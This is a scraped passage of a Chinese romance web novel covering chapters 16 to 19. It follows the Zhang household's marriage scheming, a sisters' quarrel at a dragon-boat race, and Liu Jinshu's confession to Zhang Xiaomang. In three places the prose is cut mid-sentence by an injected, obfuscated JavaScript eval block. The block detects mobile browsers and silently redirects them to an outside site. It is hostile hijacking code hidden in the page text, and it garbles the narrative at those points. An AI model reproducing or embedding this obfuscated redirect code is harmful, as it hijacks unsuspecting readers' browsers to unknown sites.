“正是!”边老太太一拍手,目光充满希翼,“他是你亲外甥,亲上加亲,知根知底,简直是天作之合啊。这门亲事成了,张家又多了一股助力,你也能往二品命妇上冲一冲了。” 蒋夫人想也没想立马拒绝,“不行的,那孩子是侯府太夫人的心头肉,金贵着呢,他们肯定不会答应。” 边老太太不高兴了,“你都能给三丫头说成刘家的亲事,怎么就不能给小五说成侯府的亲事?难道说我身边养大的姑娘,还比不上乡下的野丫头?” 蒋夫人苦笑,“安懿好是好,可也得合眼缘,我那个外甥眼光高爱挑剔,早就说过非绝色不娶。” “孩子话不能当真。”边老太太一挥手,“婚姻大事,父母之命媒妁之言,你妹妹同意了,他还敢不娶?” 蒋夫人还是摇头,“我妹妹上头还有婆婆、太婆婆,孩子的婚事,她一个人说了不算。” 这也不行,那也不行,边老太太彻底恼了,“我刚替你除去姚氏这个心腹大患,省了你多少麻烦,可这点子小事你都不肯帮忙。” “怪不得我儿总说你只顾自己高兴,不管张家利益,我还骂他有失偏颇,没想到却是真的。” 蒋夫人强忍着满口的酸楚解释,“我也盼着安懿有个好姻缘,可平阳侯府太夫人是先帝一母同胞的姐姐大长公主,侯夫人是淮西勋贵韩国公府嫡长女。论资排辈的话,比刘家还要高,不是媳妇妄自菲薄,张家的家世……还是差了点。” 边老太太的脸红一阵白一阵,到最后彻底阴云密布,“嫌弃我们家世低,你这个金陵世家的贵女,不一样哭着喊着倒贴也要嫁我儿?哼!” 蒋夫人头“嗡”地一响,一阵心头急跳耳鸣眼昏,巨大的悲愤和耻辱冲抵得她手脚冰凉,浑身止不住颤抖。 后面边老太太说了什么,她一字不记得,也不知道自己怎样出来的,等她回过神来的时候,人已经站在正院的廊庑了。 她惶惑四顾,高大的院墙,青灰的地砖,暗红的回廊,逼仄的门厅…… 住了二十年的院子,占据她半生时光的地方,这一刻,竟是这样的陌生。 她突然想回家了。 16. 第 16 章 “回娘家?”方妈妈很不理解,“家里早没人了,就连老宅都给了隔房的叔伯,顶多算走亲戚,端午节礼都送了,现在过去也没有由头。” 蒋夫人的声音有点发涩,“我就想回去看看,看看我做姑娘时住的院子、屋子。” 方妈妈更觉得今天的太太很奇怪。 蒋家无子,根据律法宗规须立嗣子承继家业。 蒋老太爷心疼女儿,背着族人把产业一分为二,全给了两个女儿做嫁妆,只余一座老宅居住。 如今院子都还在,可成了别人的家,改的改,挪的挪,早就不是当年的样子了,看了也是徒增伤感。 而且因为承继的事,和族人闹得很不愉快。 太太嘴上不说,心里明白得紧,自蒋家二老故去,便再也没回过老宅。 想到方才老太太单独留太太说话,她试探问道:“是不是老太太说了不中听的话?” 蒋夫人沉默了会儿,隐下边老太太讥刺她的话,只说“她看中了我妹妹的小儿子,想把安懿许给他”。 方妈妈惊愕不已,“老太太也真敢想,当初姨太太嫁入侯府还被人说高攀,更别提张家了!平阳侯府怎么可能答应?” 蒋夫人深深叹气,“谁说不是呢,偏老太太执拗得很,定要我去说亲。我怎么能开这个口?” “太太顾虑的是,提亲要两方相当,若五姑娘是个出挑的也能搏一搏,可她既没有三姑娘活泼大方的讨喜性子,也没有四姑娘令人称道的姿容才情。十来岁的年纪,身上的香烟味洗都洗不掉,弄得跟个尼姑似的。” 方妈妈不住摇头,“提了就是得罪人,就算姨太太不介意,侯夫人和太夫人也会埋怨太太。” 顿了顿,她又说,“老太太刚帮着太太处理了姚姨娘,一味拒绝倒不好。大后天后湖赛龙舟,平阳侯府肯定去,到时候太太带着几位姑娘走一圈,只说犯愁五姑娘的亲事,姨太太肯定说帮着打探。如此一来,便可回老太太,侯府婉拒了。” 蒋夫人思索一阵也想不出更好的法子,苦笑一声,“先这样吧,只怕老太太还有的说道。”说话间,瞥见窗外有人影闪过,立时喝道,“谁在外面?” 是个年纪不大的小丫鬟,缩着脖子禀报,“四姑娘给姚姨娘送吃的,在院门口拦下来了,哭着不肯走。看门的婆子请太太示下。” 蒋夫人说:“让四丫头进去。” 方妈妈再次愕然,想提醒一句,蒋夫人却摆摆手,“可怜她一片孝心,算了。”说完微微垂眸,“我想尽孝都不能了……” 一声饱含思念和遗憾的叹息声,随风四散在这阴郁的高墙深院里。 天色渐渐暗了,当太阳敛去最后一丝光亮时,天空俨然成了一个巨大的黑漆漆的锅,严严实实扣下来,闷得人喘不上气来。 北镇抚司门前的灯笼散发出昏黄的光晕,照着两个人从里面出来了。 “要下雨?”吴勇猎犬似地吸鼻子,“有股潮湿的雨腥味,啧,皇上头一回在后湖办赛龙舟,赶上下雨可真扫兴。” 陈令安一边走下台阶,一边整理着袖口,“梅雨季节,有点雨再正常不过了,何谈扫兴?你还是把心思放在……” 他突然身形微顿,一摆手示意吴勇警戒,随即一抽腰刀掷向照壁旁的暗影,“出来!” 一声惊叫,有个黑影抱头滚了出来,吴勇上前制住他一看,不禁笑了,“我道是谁,原来是周公子,怎么着,想进诏狱一家团圆?” 陈令安没想要来人的命,那刀特意避开了他。饶是如此,周永昌也吓得三魂不见了七魄,瘫在地上筛糠般抖了半天,好容易才找到自己的舌头。 “我、我有事求陈大人……我娘身子不好,受不了诏狱的阴寒,求大人放了我娘,换我进去坐牢吧。” 他砰砰磕头。 吴勇一乐,“你当诏狱是你家后园子,想来就来,想走就走?” 周永昌不敢多言,只不停磕头哀求。 陈令安偏头看着周永昌,忽笑了下,笑得周永昌心底发毛,不由得住了嘴。 “看不出你倒是个孝子……”陈令安慢慢道,“我这人心软,看不得别人受苦,这样好了,你帮我做件事,做好了,我就把你娘放出来。” 你哪来的自信说自己心软啊!周永昌腹诽一句,刚想问什么事,转念一想,他根本没资格拒绝,遂硬着头皮应下,“只要大人用得着我,莫说一件事,就是十件百件,我也万死不辞。” 陈令安嘴角翘翘,如此这般吩咐一番。 周永昌听完,不敢相信似地反问:“这么简单?大人别逗我。” 陈令安挑眉,“我从不开玩笑。” “大人放心,这点子小事,我肯定能办好!”周永昌一挺胸脯。 陈令安拍拍他的肩膀,眼中露出期许的神色,“我相信你。” 我相信你…… 周永昌愣住了,一股酸辣热浪冲抵上来,烫得眼睛发疼,似乎有奇怪的液体就要流下来。 他恩荫入国子监,连个秀才都没考中,父亲见他就说不成器丢人。母亲溺爱他,可从不指望他能做成什么事,不过宠着他一味吃喝玩乐做个游手好闲的纨绔罢了。 从小到大,他还是第一次被人这样期待! 心在摇荡,血在沸腾,他嘴唇乱抖,千言万语堵在喉头说不出,最后狠狠抹了下眼睛,重重一点头,昂首挺胸的去了。 一缕似透明薄纱的月光从云缝破处投下来,映出吴勇那张满是迷惑的脸,“他怎么了?” 陈令安:“不知道。” 吴勇一甩脑袋,“我还是操心赛龙舟吧,嘿嘿,这回可得让那些勋贵世家们吃个大惊!” 这晚的潮气很重,果不其然转天一早下起了牛毛细雨。 张小满找张安懿去后园子散步,“朦胧烟雨,看花别有一番趣味,咱们坐在亭子里,风吹不着雨打不着的,泡壶茶,嗑嗑瓜子聊聊天,多惬意。” 张安懿,犹豫片刻,细声细气地拒绝了,“祖母说静养才是长寿之道,让我每日念经打坐,没事不要到处跑。” 小满只觉得好笑,“老太太说的全对吗?” 张安懿慢慢张大嘴,脸上全是震惊,显然被她这句“大逆不道”的话吓到了。 一时屋里的气氛泛起微妙的尴尬。 好在此时帘子挑起,蒋夫人过来了,适时冲散了微僵的空气, 她给张安懿带了两块尺头,浅金桃红撒花和杏黄牡丹折枝莲样式,都是鲜活的颜色,很适合十来岁的小姑娘穿。 蒋夫人笑道:“后天咱们去看赛龙舟,你的衣裳都太素净了,今儿个叫针线房赶做两身衣裳,这里还有一些首饰,到时候打扮得漂漂亮亮去玩。” 应是提前得姨娘的指点,知道自己要留在城里说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916696|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,张安懿乖巧点头,“一切都听太太安排,往后我有哪儿做得不好的地方,还请太太多教我。” 蒋夫人爱怜地摸摸她的头,轻轻叹息了一声。 光影更替,五月五这天,起早的人们惊奇地发现,绵绵不绝两日的淫雨奇迹般地停了! 张小满和张安懿兴致勃勃出门。 让张小满惊奇的是,张君懿也来了,妆容精致,衣着鲜丽,看不出一丝颓败忧心的迹象。 “你以为关了我姨娘,我就会一蹶不振,就此作罢?”张君懿冷冷瞥了张小满一眼,“别得意太早了,有我在,张家还轮不到你出头,谁输谁赢还不一定呢!” 小满瞠目结舌,半晌才笑着摇摇头,刚要招呼五妹妹一起走,张君懿却抢先拉住张安懿,“小五,坐姐姐的马车。” 也不等张安懿说话,直接把人拽上了马车。 车帘垂下,张君懿虎着脸教训小妹妹,“别看她整天笑嘻嘻胸无城府的样子,其实心机深着呢,你小心点,别被人卖了还帮人数钱!” 张安懿小声嘀咕,“我看三姐姐待人挺真诚的。” “你被那几块青金石迷花眼了?眼皮子可真浅,一股子小家子气!”张君懿没好气戳了她脑门一指头,“我给你那么多好东西,也不见你说我一句好话,和你姨娘一样,都是白眼狼。” 当初姚姨娘有孕,不方便伺候张文,张文就想从外头买个丫头来。 是姚姨娘找到老太太,说外头买的终究不如家生子知根知底,选个温厚柔顺好生养的,老爷用起来也放心。 老太太觉得有理,就将身边的丫鬟指给张文——便是孙姨娘了。 按说从奴婢升到半个主子,孙姨娘应该感激姚姨娘才是,却不知怎么回事,她一直淡淡的没有表示。 姚姨娘几次与蒋夫人斗法,她都站得远远的,生怕溅上一滴水,后来更是避去庵堂,专心过她的清净日子去了。 张君懿想起这事就气,碍着孤立张小满的想法,还得“好言好语”劝说张安懿。 “我以前也以为她是个好的,帮她往宣府捎信捎银子,送她贵重的首饰,可她是怎么回报我的?抢我亲事,坏我名声……” “这些倒也罢了,我不与乡下人计较,可她不该三番五次陷害我姨娘!” 她的声音渐渐哽咽,“听说庵堂日子清寒,除了白菜就是豆腐,连个荤腥都不见。冬日除了老太太屋子,别处都没有炭火,我姨娘身子骨弱,平日里全靠燕窝养着,这一去……她可怎么受得了。” “还是我姨娘说得对,咱们都是府里精心教养的姑娘,就像温室里的娇花,不懂人心险恶。” “她可不一样,小小年纪就抛头露面上街卖东西,专门跟泥腿子打交道的,为几个铜板能把良心扔地上踩,面上笑嘻嘻,其实一肚子坏水,和咱们不是一路人。” 张安懿低着头不说话。 絮絮叨叨说了一大通,听者半点反应没有,说者觉得被轻视了,语气变得不好,“烂泥糊不上墙,和你姨娘一样,一辈子当奴婢的命!” 许是这句话太重,张安懿终于有了回应,“四姐姐别生气,我哪里做得不好你回来再教训我,一会儿还要靠你撑场面,太太说平阳侯太夫人和夫人也会去看龙舟。咱们肯定要过去请安的,保不齐……会碰到刘公子。” 张君懿脸色一僵,不由自主全身紧绷。 17. 第 17 章 晴空万里,染得后湖好似一块巨大的绿宝石,微风吹拂,水面泛起阵阵涟漪,阳光便开始在水面上跳跃了,拖起无数条光带。 听说今日陛下亲临,渴望瞻仰天颜的人一涌而至。长堤上旌旗猎猎,柳荫下人头攒动,一眼望去,除了人还是人,仿佛每个犄角旮旯都被人塞满了。 张家出来的晚些,正好陷在人潮里,几辆马车一路磕磕绊绊,好不容易才挤到管控道闸处——为着圣驾安全,锦衣卫划了一道线,只有四品以上的官宦人家,才有资格在里面扎彩棚看龙舟。 一行人下了马车,验过身份,便沿着长堤向内走去。 五月的天气已称得上燥热,虽有带着水气的凉风从湖面吹来,可这些太太姑娘们成日大门不出二门不迈的,顶着大太阳走了不到一刻钟,除了张小满,其余个个面红耳赤,喘吁吁的香汗淋漓。 好在平阳侯府得了信儿,派人抬了凉轿来,拯救了太太姑娘们即将崩溃的腿脚。 这就是勋贵世家和蓬门贵子的区别!张君懿垂下眼眸,掩去目中复杂万分的神色。 二品吏部尚书的父亲绝对算是高位大员,可家眷还得老老实实走路。再看人家平阳侯府,随随便便就是四五顶凉轿,也不见有人拿规矩卡他们。 可惜平阳侯府的男子都是武将,她不喜欢。 还是刘家好啊……张君懿发出一声幽幽的叹息。 日光灿灿的,恍惚中,那个明珠般璀璨的男子站在自己面前,温文尔雅笑着,向她伸出手。 伴着阵阵惊呼,无数道视线落在她身上,她尽自矜持着,享受着众人或羡慕或嫉妒或追捧的目光,缓缓地,缓缓地,将手指搭在他的手上。 “四妹妹?”最讨厌的声音蓦然响起,不知道什么时候凉轿停了,而张君懿惊愕地发现,自己居然握住了张小满的手! 她的脸瞬时涨得通红,蹭地撤回手,翘起下巴冷哼一声,头也不回地走了。 “三姐姐,四姐姐怎么了?”张安懿小心翼翼凑过来问。 张小满同样莫名其妙,“不知道啊,她笑嘻嘻朝我伸手,下一刻就突然生气,真是一时猫脸一时狗脸。” 前面就是平阳侯府的彩棚,世子夫人小蒋氏早早就等着了。 蒋夫人快走几步,笑嗔道:“你太婆婆、婆婆都在,你不说里面伺候着,还跑出来迎我,叫人说你不懂事。就这几步道,我还能丢了不成?等多久了,瞧瞧这一脑门子的汗。” 说着,用帕子轻柔地给妹妹擦汗。 小蒋氏挽着姐姐的手,“就是两位老人家叫我迎你的,今儿我大姑姐怕热没来,正嫌不热闹呢!四时宴过后也不见你登门,她们总念叨你怎么也不来了。” 提起四时宴,蒋夫人也是苦笑,自那之后发生多少事,家里一团乱,压得她都喘不过气,哪还有心思串门子。 还有另一桩,因着小满与陈令安有旧,保不齐侯府迁怒小满。她自是要维护小满的,可这样会把妹妹架在中间,所以也不大来了,连端午节礼都是让方妈妈去送的。 这次龙舟盛会,再不见面就说不过去了,只得硬着头皮上,说实话,她还真有点担心侯府会为难小满。 如是想着,蒋夫人回头望了一眼。 张小满报以粲然一笑,无忧无虑的样子。蒋夫人暗自笑骂一句“傻丫头”,心情却明媚起来。 “太太怎么了?为什么突然看你,又突然笑了?”张安懿低声问。 小满微微挑眉,“你猜。” 张安懿一怔,面上就有点下不来。小满哈哈一乐拉起她的手,“我也不知道啊,反正逢人三分笑总不会吃亏,任凭谁也不喜欢整日哭丧着脸的。” 说话间,她们已来到侯府的彩棚。 虽说是临时搭的棚子,只用一天而已,可棚内陈设半点不含糊。地面一水儿的黑漆,靠壁幕了毡,当地放一面紫檀雕花的屏风,左右两面用碧纱围了,既亮堂又透气,还放些花木盆景之类的点缀。 一位鬓发如银的老太太斜靠在屏风前的软塌上,便是侯府太夫人,当今的姑母孝亲大长公主了。 坐在大长公主左边的是侯夫人谢氏,保养得很好,近六十的年纪,也不过眼尾几条细纹而已。 蒋夫人领着三个孩子上前见礼,特意把张安懿揽在前面,“我家最小的姑娘,转年就十五了,温柔敦厚,是个特别孝顺的孩子。” 孝亲大长公主打量两眼,笑呵呵说:“我瞧着和你婆婆有几分相似,是在你婆婆身边长大的吧?” “老祖宗慧眼如炬,我平日里净瞎忙,免不了照顾不到的地方,全靠这孩子替我在婆母面前尽孝。”蒋夫人轻轻推了下张安懿,示意她也说两句话。 张安懿见人少,经的场面更少,紧张得直揪衣角。她知道这次见面关系到她的亲事,有心想说几句讨喜的话,可越是想说,越是说不出来,先前姨娘教她的也全忘了,支支吾吾憋得一张脸通红,急得眼泪都要流下来了。 一旁的张君懿瞧见,鄙夷地撇了下嘴。 蒋夫人心底暗暗叹息一声,正要打个圆场,不妨大长公主又问边老太太怎么没来,“上次还是过年大朝会,进宫朝拜的时候见的她”。 边老太太性子有些孤拐,除非不得不出现的场合,什么花宴、寿宴、婚宴……那是能不去就不去,包括亲朋间的走动,也全交给儿媳一手操办。 蒋夫人不好议论婆婆,只用“身子不适”的借口搪塞过去。 大长公主笑笑,许是平阳侯府生养的都是秃瓢小子的缘故,她对张家的姑娘都很和善。待看到张小满,她却板起了脸,“你这个小猴儿,也是许久不来了,怎的,怕我大棍子打你出去?” 听了这话,张安懿一惊,下意识就去看张小满。 然而张小满并没有她想象中的惊惶失措,而是带着愧疚笑道:“我是真害怕,我搅和了四时宴,得罪了刘家姨母,还和世子姨夫对着干,事后想想当时太冲动了,真是不该!” “想来赔礼,又怕不让进门,惴惴不安了许久,直到听说今天老祖宗也来看龙舟赛,方连夜编了几个笑话,特向老祖宗赔罪。” 说着,她从绣墩上起身,深深蹲了个万福,“说得好,老祖宗就笑上两声,饶了小满的不是吧。” 大长公主闻言一笑,“若说得好,我有赏。” 小满顺杆上爬,“老祖宗,我这就请赏了!” “有个农夫上街,见一个算命先生给人看手相:男人手如绵,身边有闲钱,妇人手如姜,财帛满仓箱。农夫高兴坏了:发财了发财了,我老婆的手就是姜啊!算命先生问了:你怎么知道?” 小满粗着嗓子装农夫,又轻轻抚脸,“农夫捂着半边脸说,昨天她打了我一嘴巴,现在还火辣辣的呢!” 彩棚里粲然大笑,大长公主笑声最大,蒋夫人一口茶全喷在手帕子里,小蒋氏直说腮帮子酸,便是端庄得体的谢夫人也不禁莞尔。 张君懿却笑不出来,刘瑾书没在这里已让她大失所望,看着小满在侯府如鱼得水,她倍觉刺眼。抬眼皮一看张安懿正拍着巴掌傻乐,更是气不打一处来。 她使劲摁下张安懿的手,低声喝道:“好好的尚书府千金,非学那篾片相公,让人说闹取笑,不嫌丢人么!” 张安懿讪讪住手,偷偷左右瞧瞧,看没人注意她们的动作,才暗暗松了口气。 “说起怕老婆,我家也有一个!”大长公主指着小蒋氏笑道,“彦儿霸王似的人物,谁都不服,连他老子都管不了,偏对他老婆俯首帖耳,让往东不敢往西——只是不上手打罢了。” 众人又一阵笑,这回轮到小蒋氏脸红了,蒋夫人看出妹妹的尴尬,却不好替妹妹说话,只好陪着尬笑。 张君懿暗暗嗤笑,大长公主到底埋怨上蒋氏姐妹和张小满了,碍着身份不便和一个毛丫头计较,又不能让亲戚下不来台,一腔怨气就撒向了孙儿媳小蒋氏。 她瞥了张小满一眼:该!叫你讨巧讲什么笑话,这回搬起石头砸自己的脚了吧。 却在这时,谢夫人缓缓开口,“照我说,是该有个人管管伯彦。他性子忒无法无天,四时宴上,竟当着锦衣卫说不着四六的胡话。要不是伯彦媳妇强押着他找大总管吕太监说情,压下了弹劾奏章,恐怕今天他就和周大人那些人一样,在诏狱里过端午节了。” 吃了儿媳一个软钉子,大长公主丝毫不以为意的模样,还拍手称许,“这就叫卤水点豆腐,一物降一物!” 彩棚的气氛再次活跃起来,张安懿看不懂,又不敢凑前面问张小满,便悄声向张君懿求教,“四姐姐,到底怎么回事,老祖宗刚才是在敲打世子夫人,还是说顽笑话?” 张君懿瞪她一眼,声音虽低却很严厉,“什么老祖宗?谁的老祖宗?咱们老祖宗在家呢!” 张安懿怯怯懦懦缩回脖子,冷不丁来了句,“原来四姐姐也没看明白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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秦伯彦略嫌焦躁地走来走去,“本来在后湖办龙舟赛就不合规矩,闹得朝堂上下沸沸扬扬,朝臣们东猜西揣,疯魔似的到处打探消息。今儿再加上锦衣卫这一出,唉,皇上到底怎么想的!” 为什么不合规矩?小满不大明白。 可还没等她找机会请教嫡母,大长公主就发了话,“好容易出门活泛活泛,孩子们都别拘在咱们跟前儿了。珏儿,带你张家的姐姐妹妹去湖边走走——离水远点,掉湖里可不是好玩的。” 正要随秦珏平往外走,秦伯彦又叫住她,“小丫头,你刚才那句‘猛虎嗅蔷薇’说得好,姨夫奖你样东西。” 张小满手里便多了一条乌黑油亮的鞭子。 “下次再打陈令安,别用石头,你们小姑娘臂力小,准头儿不足。”秦伯彦挤挤眼,“用鞭子,保准打他个满脸花。” 声音甫落,数道错愕的目光落在张小满身上。 张小满耳根子发热,“我没打他呀……” “我可是听说你在北镇抚司门口把他脑袋砸破了,诶,别不好意思啊,姨夫就喜欢英姿飒爽、爽朗痛快的女孩子。”秦伯彦哈哈大笑。 张小满脸皮泛红,忙不迭“逃”了出去。 日头已经升得很高,几人在柳荫下慢慢走着,彼此都不熟悉,张小满在琢磨秦伯彦方才的话,没心思活跃气氛。 张安懿倒是终于想起来老太太叮嘱她的话,鼓起勇气和秦珏平搭讪,奈何人家态度冷淡,连个多余的眼神都没有。 一时气氛显得很沉闷。 张君懿满心想着刘瑾书,偷偷回望几次,都没有瞧见他追来的身影,实在按捺不住,准备提议往回走。 结果秦珏平先一步开口了,“表姐,你真的砸破了陈令安的头?” 毕竟是糗事,小满支支吾吾不愿细说,“意外,也没破……”生怕他追着不放似的,她急忙转换话题,“方才世子说后湖赛龙舟不合规矩,这是为什么?” 秦珏平答道:“先帝把后湖辟为黄册库,乃是皇家禁地,别说举办这等游玩赛事,等闲都不许人进来的。” 小满明白了,“原来破了先帝定下的规矩,难怪人们多想。” “你省些事吧,朝政大事,岂是你我能议论的?”张君懿喝道,“天天惹是生非,光知道勾搭外男,德言容功你是一样没有,和你站在一起我都觉得丢人!” 空气一瞬间凝结了。 18. 第 18 章 秦珏平惊愕看着张君懿。 平阳侯府讲的是“打虎亲兄弟,上阵父子兵”,亲人间关系颇为融洽,红脸都少见,更不要提这样恶毒骂人了! 张君懿渐渐白了脸。 其实话刚出口,她就后悔了。 莫说今天这种场合着实不能口出恶言,就是平日里,她也万万说不出这样不体面的话。 可不知道怎么了,她一见众人对张小满言笑晏晏,就窝得心口疼,不可控制地把多日积攒的情绪一股脑发泄出来。 理智告诉她,此时应该向张小满道歉,不为她的原谅,只为在秦珏面前挽回几分颜面。 然而嘴巴像是被浆糊粘住了,怎么也张不开! 到底抹不开脸,张君懿冷哼一声转身就走,一副“我不与你计较,你且细想去”的姿态。 张小满却不肯平白挨骂,先前对张君懿的姐妹情,已在她们母女一系列操作中消失殆尽。 既然张君懿当众撕破脸,也不必再给她留面子了! 当即笑嘻嘻拦住张君懿的去路,“我不知道德言容功的‘言’是何意,四妹妹既然知道,不如解释给我听听?” 张君懿当然不能说,避重就轻道:“不明白就去问太太,我又没有教导你的责任。让开!” 她的话把蒋夫人也捎上了,张小满本来五分的火气立刻涨到十分,冷笑一声,“我只没有一个好姨娘,教我学小戏子,哼哼唧唧扭捏作态半路拦男人。更可惜的是,人家根本瞧不上你,你一番苦心算是白费了!” “血口喷人!我才没干过!”张君懿又羞又恼,一张脸涨得通红,眼泪也快要流下来了。 然而张小满根本不给她喘息的机会,小嘴一通啪啪啪。 “瞧见没,刘瑾书朝这边过来了,不如问问他是真是假?不然你假装失足落水,最好拽着他的袖子一起掉水里,众目睽睽之下,为了保全两家颜面,他真娶了你也不一定。” 这时秦珏平插嘴,“那不见得,表哥那么聪明,能看不出别人设计他?一准儿避开了。话说回来,今日城中的纨绔子弟都来了,乐于英雄救美的人肯定很多。” 张小满毫不客气补刀,“纨绔啊,就是不知道四妹妹是八抬大轿热热闹闹进大门,还是一顶小轿悄悄抬入人家的后门了。” “你、你们……合起伙儿来欺负我。”因秦珏平横插一脚,张君懿不敢与他硬碰硬,一连串的眼泪忍不住哗啦啦往下淌。 张小满冷冷道:“欺负的就是你,姐妹间拌嘴没什么,你不该把母亲扯进来!” “我看你是被你姨娘带坏了,被老爷宠坏了,分不清场合认不清位置,真当侯府厚待你是因为张家的名头?” “没有母亲,金陵城谁把张家姑娘当回事!” 刀子一样的话刺得张君懿脸上毫无血色,似乎长久以来某个她引以为傲的东西,一刹那间破碎了,消失了。 她呆呆怔了片刻,忽一跺脚,捂着脸跑开了。 秦珏平“啧”的咂了下嘴,因“职责所在”,十分不情愿地抬脚,跟过去。 张安懿已是看得瞠目结舌,好一会儿才怯怯说:“三姐姐,四姐姐这么走了,不会出事吧?” “不会,她惜命得很!再说今天到处都是禁卫军,谁敢在皇上眼皮子底下生事?”张小满重重呼出口浊气,觉得痛快多了。 “可是,”张安懿看着越走越近的刘瑾书,小声说,“如果这事传到刘公子耳朵里,他会不会觉得你太尖酸冷漠,不顾姐妹之情?” 张小满看了张安懿一眼,“就因为有可能给别人留下不好的印象,就要漠视四妹妹对母亲的轻慢?” 张安懿低着头,“可这关系到一辈子的大事……” 张小满的心情又变得不好了。 此时刘瑾书也走到了姐妹二人的面前,他是个极伶俐的人,立时察觉到气氛怪异,略一沉吟,“两位妹妹走累了吧,前面有座压水凉亭,可稍事休息。” 转过一带花墙,便见岸边向湖内突出一截白堤,尽头是一座歇山顶凉亭压在水面,柳丝如烟,碧波荡漾,景色比女眷休息的彩棚处更盛一筹。 “水光潋滟晴方好,山色空蒙雨亦奇。”刘瑾书笑道,“东坡居士这两句用来形容后湖,倒也贴切,待哪日细雨朦胧,我们可再来这里领略后一句的妙处。” 张小满失笑,“如果你跟我拽文,那我可不来。” “只要你来,一切依你。”刘瑾书笑着说完,轻轻瞥了张安懿一眼。 张安懿愣在原地,有点不知所措的样子,直到刘瑾书明言有话想单独和张小满说,方后知后觉走开了。 张小满静静看着刘瑾书,等着他接下来的话。 被她这样注视,不知怎的刘瑾书脸皮微微发烫,心脏也跳得急了些。 他竟有些紧张了。 刘瑾书小小讶然了下,略停顿几息,才缓缓开口道:“我还不想放弃。” 张小满一怔,隐约猜到他的意思了。 “那天你走后,我认真想了一天一夜,到底是哪里不行。我太自信了,不,应该说太自大了,认为凭我的条件,你没有理由不答应。” “即便拒绝,也是因为一时的害羞,或者说想要提升你自身的分量,弥补你并不出色的娘家。当时我虽然失望、伤心,也有点生气,却没灰心。” “可是后来……”刘瑾书长叹一声,说不下去了。 张小满读懂了他那声长叹:后来她该吃吃该睡睡,哪怕家里因为这事闹翻天,她也丝毫没受影响。 想必刘瑾书已然明白,她对这门亲事是真的不在意。 可她更不懂了,既然他什么都清楚,为何还不愿意放弃? 不会真的…… “我喜欢你!”刘瑾书突然扬声道,“别问我为什么,我也不知道为什么,就是觉得你和别人不一样,就是想和你在一起!” 微风轻拂,湖面泛起一阵阵涟漪,无数光的碎片荡漾着,灿灿地映在小满的脸上。 小满摸摸发烫的脸颊,意外之余,她有点激动,也禁不住微微的骄傲。 生平第一次收到大胆又热烈地表白,还是被这样优秀的男子倾慕,任凭谁也没法无动于衷。 “我果然还是虚荣的。”小满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938515|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容带了几分俏皮,“有那么一瞬间,觉得错过了惊天暴富的机会!” 刘瑾书一乐,随后眼神黯淡下来,只勉力维持脸上的微笑。 瞧得小满都开始愧疚了,好像自己做了什么罪大恶极的坏事一样。 “我想到你大概会再次拒绝。”刘瑾书不自然地咳了两声,故作轻松笑道,“可我不想给自己留下遗憾,所以不到最后,我不会放弃。” 小满不知道说什么好,索性微笑着沉默不语。 远处高台传来三声炮响,刘瑾书回头望望,“皇上即将驾临,我必须过去迎驾了。” 小满不由松口气,催他快去,不要误了差事。 刘瑾书又深深看了她一眼,方移步离开。 一直竖着耳朵偷听的张安懿再也憋不住了,“三姐姐,你为什么不答应?且不说刘家的门第底蕴,单看刘公子那般世间少有的人物,他又喜欢你,一旦错过就再也没有了。” 小满笑笑,“他喜欢我,我就一定要嫁他?” 张安懿呆住,好半晌才喃喃道:“如果有人肯喜欢我,那便是求之不得的,还能挑三拣四?” “一个妇人能得夫君喜爱,就比世上绝大部分的女子幸运,总比……总比你喜欢他,他不喜欢你强得多。” 小满仔细想了片刻,“这种说法好像也没错,可是,为什么不和互相喜欢的人成亲呢?” 张安懿小声说:“哪有那么好的事,将要出嫁的年纪恰恰好碰上互相喜欢的人。” 这回小满沉默的时间又长了些,“那我宁可一辈子不嫁人。” 张安懿惊得下巴几乎合不上,“怎么能不嫁人?” “怎么不能?养我长大的阿婆就一辈子没嫁人,过得也蛮好的。反正我要嫁,就嫁个我看着你好,你看着我更好的男子。” 小满挽起妹妹的手,“有人喜欢自己固然好,但是千万不要因为欢喜他的喜欢,就分不清自己的心意。” 张安懿似懂非懂地点点头。 忽听有人在喊“三姑娘”,小满循声望去,但见一群红衣贵公子联袂而来,冲她扬手大笑的是周永昌。 反常的友好态度让小满立刻提高警惕。 却见后面慢吞吞走出一个人,竟是陈令安! 这俩人居然走在了一起?小满呆了呆。 周永昌似乎很满意别人惊奇的目光,把手里的大鼓槌往肩上一抗,洋洋得意道:“我们都是来给陈大人的龙舟队助威的,想不到吧?” 小满不可置信地看着陈令安,“你们……” 陈令安推开聒噪不已的周永昌,示意小满随他走开几步。 小满忽一怔,用手比了比,疑惑道:“我怎么感觉你高了?至少有一寸吧。” 陈令安脸皮微红,却是问她:“刘瑾书刚才和你说了什么?” 声音里听不出任何情绪。 灿灿的阳光从他背后照过来,刺得小满眯起了眼。 看不清他脸上的表情。 她脑袋晕乎乎的,定是中暑了,神志不清了,不然怎么会说—— “他说他喜欢我。” 19. 第 19 章 风吹过,柳枝儿胡乱飞舞,阳光碎了一地。 话刚出口,小满就窘得转身想跑,却忍不住想看陈令安的反应。 